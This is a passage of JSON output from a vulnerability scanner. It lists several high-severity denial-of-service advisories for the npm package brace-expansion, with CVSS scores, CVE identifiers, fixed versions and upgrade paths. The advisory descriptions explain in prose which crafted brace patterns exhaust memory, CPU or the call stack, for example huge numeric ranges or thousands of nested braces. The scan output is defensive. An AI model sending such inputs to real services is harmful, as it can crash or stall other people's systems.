"severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", 